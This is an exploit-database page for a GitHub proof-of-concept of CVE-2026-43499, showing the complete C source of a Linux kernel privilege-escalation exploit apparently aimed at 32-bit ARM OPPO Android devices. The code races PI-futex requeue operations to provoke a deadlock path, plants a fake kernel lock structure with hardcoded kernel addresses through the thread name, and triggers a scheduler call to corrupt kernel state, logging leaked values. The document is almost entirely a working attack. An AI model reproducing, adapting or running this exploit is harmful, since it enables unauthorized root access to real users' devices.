Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

169 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files269
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/ghostlock_oppo18m7.c

C · 7,161 bytes
/* go18m6: preserve D+0..0x17 (RB_CLEAR self-pointers) - W makes NO syscalls
 * (no write/getname) between futex timeout and chain except PR_SET_NAME + pause.
 * Build: arm-linux-gnueabihf-gcc -static -O2 -o go18m6 ghostlock_oppo18m6.c -lpthread
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <linux/futex.h>
#include <time.h>

#ifndef SYS_sched_setattr
#define SYS_sched_setattr 380
#endif
#define PR_SET_NAME 15
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif
#ifndef FUTEX_WAKE
#define FUTEX_WAKE 1
#endif

#define INIT_TASK 0xc1b11640u
#define FAKE_LOCK 0xc1b11484u
#define NODE_OFF  0x1f

struct sched_attr {
    uint32_t size, sched_policy;
    uint64_t sched_flags;
    int32_t sched_nice;
    uint32_t sched_priority;
    uint64_t sched_runtime, sched_deadline, sched_period;
};

static uint32_t f_wait, f_pi_target, f_pi_chain;
static volatile int a_ready, a_tid, a_waiting, b_started;
static volatile int consume, stamp_ready, deadlock_seen;
static volatile int c_tid, c_called, c_done;
static volatile long long t0_ms;
static unsigned char stamp_phase1[16];
struct old_ts32 { int32_t tv_sec, tv_nsec; };

static long long nowms(void){ struct timespec t; clock_gettime(CLOCK_MONOTONIC,&t);
    return (long long)t.tv_sec*1000+t.tv_nsec/1000000; }
static long pi_lock(uint32_t *u){return syscall(SYS_futex,u,FUTEX_LOCK_PI,0,0,0,0);}
static void pin(int cpu){ cpu_set_t s; CPU_ZERO(&s); CPU_SET(cpu,&s); sched_setaffinity(0,sizeof(s),&s); }

static int logfd=-1;
static void LG(const char *fmt,...){
    char b[2200]; va_list ap; va_start(ap,fmt);
    int n=snprintf(b,sizeof(b),"[%6lld] ",nowms()-t0_ms);
    n+=vsnprintf(b+n,sizeof(b)-n,fmt,ap);
    va_end(ap);
    if(n>(int)sizeof(b)-1)n=sizeof(b)-1;
    if(logfd>=0){ int w=write(logfd,b,n); (void)w; fsync(logfd); }
    write(1,b,n);
}
static int readfile(const char *path,char *buf,int n){
    int fd=open(path,O_RDONLY);
    if(fd<0) return -1;
    int l=read(fd,buf,n-1);
    if(l<0) l=0;
    buf[l]=0;
    close(fd);
    return l;
}

/* W: pre-futex logging OK; after timeout ONLY prctl+pause, no writes at all. */
static void *waiter_thread(void *arg){
    struct timespec now; struct old_ts32 ts; (void)arg;
    pin(3);
    a_tid=(int)syscall(SYS_gettid);
    LG("[W] tid=%d cpu3\n",a_tid);
    pi_lock(&f_pi_chain); a_ready=1; usleep(20000);
    clock_gettime(CLOCK_MONOTONIC,&now);
    int64_t ns=now.tv_nsec+500000000;
    ts.tv_sec=(int32_t)(now.tv_sec+ns/1000000000);
    ts.tv_nsec=(int32_t)(ns%1000000000);
    a_waiting=1;
    long wr=syscall(SYS_futex,&f_wait,FUTEX_WAIT_REQUEUE_PI,0,&ts,&f_pi_target,0);
    (void)wr;
    /* QUIET from here: no write/read syscalls that could clobber D region */
    while(!deadlock_seen) sched_yield();
    consume=1;
    syscall(SYS_prctl,PR_SET_NAME,stamp_phase1,0,0,0);
    stamp_ready=1;
    for(;;) sched_yield();
    return NULL;
}
static void *owner_thread(void *arg){
    (void)arg; pin(3);
    pi_lock(&f_pi_target);
    while(!a_ready) usleep(1000);
    b_started=1;
    long r=pi_lock(&f_pi_chain);
    LG("[O] 2nd LOCK_PI=%ld errno=%d\n",r,errno);
    for(;;) pause();
    return NULL;
}
static void *consumer_thread(void *arg){
    struct sched_attr attr; (void)arg; pin(1);
    memset(&attr,0,sizeof(attr));
    attr.size=sizeof(attr); attr.sched_policy=3; attr.sched_nice=19;
    while(!a_tid) usleep(1000);
    while(!consume||!stamp_ready) usleep(1000);
    usleep(50000);
    c_tid=(int)syscall(SYS_gettid);
    c_called=1;
    LG("[C] ctid=%d wtid=%d >> sched_setattr\n",c_tid,a_tid);
    errno=0;
    long r=syscall(SYS_sched_setattr,a_tid,&attr,0);
    LG("[C] << RETURNED %ld errno=%d\n",r,errno);
    c_done=1;
    for(;;) pause();
    return NULL;
}

static void *sampler_thread(void *arg){
    (void)arg; pin(0);
    uint32_t last[4]={0xffffffff,0xffffffff,0xffffffff,0xffffffff};
    char path[128], buf[3000], st[256];
    long long last_tick=0;
    for(;;){
        if(c_called && !c_done){
            struct utsname u; memset(&u,0,sizeof(u)); uname(&u);
            unsigned char *p=(unsigned char*)u.nodename;
            uint32_t w[4];
            w[0]=*(uint32_t*)(p+NODE_OFF); w[1]=*(uint32_t*)(p+NODE_OFF+4);
            w[2]=*(uint32_t*)(p+NODE_OFF+8); w[3]=*(uint32_t*)(p+NODE_OFF+0xc);
            long long t=nowms()-t0_ms;
            if(memcmp(w,last,16)){ LG("FAKE-CHANGE %08x %08x %08x %08x\n",w[0],w[1],w[2],w[3]); memcpy(last,w,16); }
            if(t-last_tick>=5){
                last_tick=t;
                snprintf(path,sizeof(path),"/proc/self/task/%d/stat",c_tid);
                if(readfile(path,buf,sizeof(buf))>=0){
                    char *rp=strrchr(buf,')');
                    if(rp){ char *sv=NULL; char *tt=strtok_r(rp+2," ",&sv); int f=0;
                        const char *state=tt; const char *cpu="?";
                        while(tt){ if(f==36)cpu=tt; tt=strtok_r(NULL," ",&sv); f++; }
                        snprintf(st,sizeof(st),"Cstate=%s cpu=%s",state,cpu);
                    } else snprintf(st,sizeof(st),"?");
                }
                char wc[128]="?"; snprintf(path,sizeof(path),"/proc/self/task/%d/wchan",c_tid);
                if(readfile(path,wc,sizeof(wc))<0) snprintf(wc,sizeof(wc),"openfail");
                LG("tick %s wchan=%s\n",st,wc[0]?wc:"(running)");
            }
            usleep(2000);
        } else usleep(20000);
    }
    return NULL;
}

int main(void){
    pthread_t th; pthread_attr_t attr;
    setvbuf(stdout,NULL,_IONBF,0);
    pin(2);
    t0_ms=nowms();
    logfd=open("/data/local/tmp/hb.log",O_WRONLY|O_CREAT|O_TRUNC|O_SYNC,0644);
    LG("=== go18m6 logfd=%d ===\n",logfd);
    uint32_t task=INIT_TASK, lock=FAKE_LOCK, prio=0x01010101u, pad=0x01010101u;
    memcpy(stamp_phase1+0,&task,4);
    memcpy(stamp_phase1+4,&lock,4);
    memcpy(stamp_phase1+8,&prio,4);
    memcpy(stamp_phase1+12,&pad,3);
    stamp_phase1[15]=0;
    for(int i=0;i<15;i++) if(!stamp_phase1[i]){LG("NUL %d\n",i);_exit(2);}

    mlockall(MCL_CURRENT|MCL_FUTURE);
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr,1024*1024);
    pthread_create(&th,&attr,sampler_thread,NULL);
    usleep(50000);
    pthread_create(&th,&attr,owner_thread,NULL);
    usleep(10000);
    pthread_create(&th,&attr,consumer_thread,NULL);
    pthread_create(&th,&attr,waiter_thread,NULL);
    while(!a_waiting||!b_started) usleep(1000);

    int got=0;
    for(int i=0;i<220;i++){
        errno=0;
        long r=syscall(SYS_futex,&f_wait,FUTEX_CMP_REQUEUE_PI,1,1,&f_pi_target,0);
        int e=errno;
        if(r<0&&e==35){got=1;break;}
        if(r>0) break;
        usleep(5000);
    }
    syscall(SYS_futex,(int*)&f_wait,FUTEX_WAKE,1,0,0,0);
    deadlock_seen=1;
    LG("[M] EDEADLK=%d wtid=%d\n",got,a_tid);

    for(;;) usleep(1000000);
    return 0;
}